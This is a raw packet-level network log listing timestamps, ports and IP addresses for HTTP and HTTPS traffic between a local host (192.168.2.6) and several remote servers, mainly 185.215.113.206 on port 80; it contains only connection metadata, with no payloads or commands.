Nov 28, 2024 00:19:42.706027985 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.706096888 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.706171036 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.706362963 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.707156897 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.707324982 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.707350969 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.707817078 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.708281994 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.708292961 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.708388090 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.709378004 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.709389925 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.709532976 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.710515976 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.710591078 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.710747957 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.711596966 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.711716890 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.712737083 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.712836981 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.712863922 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.713092089 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.713865995 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.714005947 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.714029074 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.714096069 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.715013027 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.715116024 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.715116978 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.715188026 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.716137886 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.716223001 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.716276884 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.716278076 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.717251062 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.717308998 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.717339039 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.718429089 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.718569994 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.718595028 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.718955994 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.719522953 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.719626904 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.719660997 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.719729900 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.720681906 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.720803976 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.727454901 CET	443	49838	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:42.727526903 CET	443	49838	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:42.727562904 CET	49838	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:42.727574110 CET	443	49838	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:42.727598906 CET	49838	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:42.727618933 CET	49838	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:42.760129929 CET	443	49838	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:42.760164976 CET	443	49838	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:42.760268927 CET	49838	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:42.760268927 CET	49838	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:42.760282040 CET	443	49838	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:42.762967110 CET	49838	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:42.781996012 CET	443	49838	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:42.782021999 CET	443	49838	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:42.782224894 CET	49838	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:42.782238960 CET	443	49838	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:42.782320976 CET	49838	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:42.799153090 CET	443	49838	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:42.799170017 CET	443	49838	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:42.799530029 CET	49838	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:42.799540043 CET	443	49838	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:42.799767017 CET	49838	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:42.872064114 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.872138977 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.872493029 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.872565031 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.872730970 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.873042107 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.873073101 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.873177052 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.873739958 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.874070883 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.874253988 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.874368906 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.874852896 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.874953985 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.876018047 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.876033068 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.876097918 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.876123905 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.876327991 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.877145052 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.877156973 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.877212048 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.877212048 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.878262043 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.878402948 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.878588915 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.878634930 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.879414082 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.879427910 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.879515886 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.880521059 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.880676031 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.881371975 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.881546021 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.881686926 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.881697893 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.881783009 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.882781029 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.882884026 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.883076906 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.883192062 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.883897066 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.883955956 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.884943008 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.885071039 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.885081053 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.885101080 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.885147095 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.885147095 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.886181116 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.886354923 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.886835098 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.886998892 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.887331009 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.887341976 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.887525082 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.888426065 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.888566971 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.889015913 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.889131069 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.889552116 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.889710903 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.890568972 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.890714884 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.890727043 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.890750885 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.891016006 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.891844034 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.892028093 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.892496109 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.892674923 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.892992020 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.893064022 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.893318892 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.894104004 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.894150972 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.894509077 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.895220041 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.895349979 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.896051884 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.896281004 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.896362066 CET	443	49840	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:42.896437883 CET	443	49840	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:42.896609068 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.896621943 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.896684885 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.896682978 CET	49840	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:42.896944046 CET	49840	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:42.896966934 CET	443	49840	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:42.897500992 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.897588968 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.897701979 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.898123026 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.898638964 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.898650885 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.898845911 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.899775028 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.899785995 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.899847984 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.900868893 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.901025057 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.901066065 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.901184082 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.902062893 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.902134895 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.902192116 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.903160095 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.903258085 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.903578043 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.903944969 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.904301882 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.904318094 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.904853106 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.905420065 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.905684948 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.905783892 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.906853914 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.906864882 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.907007933 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.907732964 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.907784939 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.908076048 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.908835888 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.908957958 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.908966064 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.909033060 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.910047054 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.910142899 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.910171032 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.910238028 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.911187887 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.911267042 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.911289930 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.911318064 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.912305117 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.912400007 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.912467003 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.912527084 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.913378954 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.913530111 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.913547039 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.913664103 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.914541960 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.914644003 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.924931049 CET	443	49838	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:42.924956083 CET	443	49838	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:42.925009966 CET	49838	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:42.925025940 CET	443	49838	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:42.925057888 CET	49838	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:42.925097942 CET	49838	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:42.939445019 CET	443	49838	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:42.939470053 CET	443	49838	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:42.939515114 CET	49838	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:42.939522982 CET	443	49838	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:42.939548016 CET	49838	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:42.939742088 CET	49838	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:42.955347061 CET	443	49838	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:42.955369949 CET	443	49838	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:42.955455065 CET	49838	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:42.955466032 CET	443	49838	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:42.955517054 CET	49838	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:42.971259117 CET	443	49838	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:42.971282005 CET	443	49838	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:42.971369028 CET	49838	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:42.971380949 CET	443	49838	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:42.971540928 CET	49838	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:42.987329006 CET	443	49838	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:42.987349987 CET	443	49838	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:42.987421989 CET	49838	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:42.987421989 CET	49838	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:42.987435102 CET	443	49838	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:42.987533092 CET	49838	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:43.002159119 CET	443	49838	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:43.002177954 CET	443	49838	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:43.002281904 CET	49838	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:43.002291918 CET	443	49838	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:43.002386093 CET	49838	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:43.028429985 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.128165007 CET	443	49838	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:43.128190994 CET	443	49838	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:43.128293991 CET	49838	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:43.128293991 CET	49838	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:43.128307104 CET	443	49838	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:43.128715992 CET	49838	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:43.140144110 CET	443	49838	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:43.140172958 CET	443	49838	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:43.140269995 CET	49838	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:43.140269995 CET	49838	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:43.140283108 CET	443	49838	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:43.140429974 CET	49838	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:43.150589943 CET	443	49838	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:43.150609970 CET	443	49838	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:43.150687933 CET	49838	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:43.150705099 CET	443	49838	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:43.150751114 CET	49838	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:43.152216911 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.161914110 CET	443	49838	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:43.161930084 CET	443	49838	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:43.162025928 CET	49838	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:43.162035942 CET	443	49838	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:43.162095070 CET	49838	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:43.173461914 CET	443	49838	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:43.173480034 CET	443	49838	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:43.173592091 CET	49838	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:43.173592091 CET	49838	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:43.173613071 CET	443	49838	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:43.174005032 CET	49838	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:43.181030035 CET	443	49838	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:43.181077003 CET	443	49838	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:43.181124926 CET	49838	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:43.181133032 CET	443	49838	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:43.181169987 CET	49838	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:43.181241989 CET	49838	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:43.183151007 CET	49838	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:43.183168888 CET	443	49838	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:43.366838932 CET	49852	443	192.168.2.6	172.217.19.225
Nov 28, 2024 00:19:43.366874933 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:43.367014885 CET	49852	443	192.168.2.6	172.217.19.225
Nov 28, 2024 00:19:43.367516994 CET	49852	443	192.168.2.6	172.217.19.225
Nov 28, 2024 00:19:43.367522955 CET	443	49852	172.217.19.225	192.168.2.6
Nov 28, 2024 00:19:43.379672050 CET	443	49842	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:43.380423069 CET	49842	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:43.380450010 CET	443	49842	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:43.381042004 CET	49842	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:43.381047964 CET	443	49842	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:43.438164949 CET	443	49841	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:43.441350937 CET	49841	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:43.441368103 CET	443	49841	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:43.442061901 CET	49841	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:43.442073107 CET	443	49841	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:43.494715929 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.494782925 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.495042086 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.495080948 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.495260000 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.495374918 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.495559931 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.495631933 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.495671034 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.496543884 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.496728897 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.497029066 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.497073889 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.497678041 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.497725010 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.497962952 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.498106003 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.498811960 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.498946905 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.499161959 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.499531984 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.500039101 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.500094891 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.500251055 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.500284910 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.501077890 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.501132011 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.501418114 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.501466036 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.502222061 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.502273083 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.502507925 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.502543926 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.503303051 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.503351927 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.504093885 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.504303932 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.504447937 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.504492044 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.505289078 CET	80	49794	185.215.113.206	192.168.2.6
